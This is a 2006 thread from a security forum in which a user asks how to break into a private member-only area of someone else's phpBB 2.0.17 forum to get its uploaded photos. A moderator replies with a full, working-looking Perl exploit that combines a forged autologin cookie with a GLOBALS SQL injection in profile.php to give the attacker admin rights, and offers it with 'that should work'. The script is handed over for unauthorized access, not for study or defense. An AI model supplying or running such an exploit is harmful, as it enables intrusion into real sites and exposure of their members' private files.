 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 2329
 Members: 0
 Total: 2329
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Easy way to access 2.0.17 |
|
 Posted: Mon Dec 11, 2006 4:16 am |
 |
|
| iDon |
| Beginner |
 |
|
| Joined: Dec 11, 2006 |
| Posts: 1 |
|
|
|
 |
|
 |
|
There is a PhpBB 2.0.17 forum that I need to read a private forum in. Just registering won't cut it, it's only for a hidden member group.
I tried two methods and was unable to get in. Is there a relatively simple way to gain access?
I mainly need to access uploaded photos in that forum. They use the standard attachment mod. Is there a way to download those files? Their forum/files directory is protected so I can't just go there. |
|
|
|
|
|
|
|
|
| Posted: Thu Dec 14, 2006 6:22 am |
|
|
| Sm0ke |
| Moderator |
 |
|
| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
|
|
|
|
|
|
| Code: | #!/usr/bin/perl
# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)
use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';
if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];
$passwd = md5_hex($passwd);
my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";
my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);
my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);
print "if everything was ok you should have admin rights now Smile\n"; |
that should work  |
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
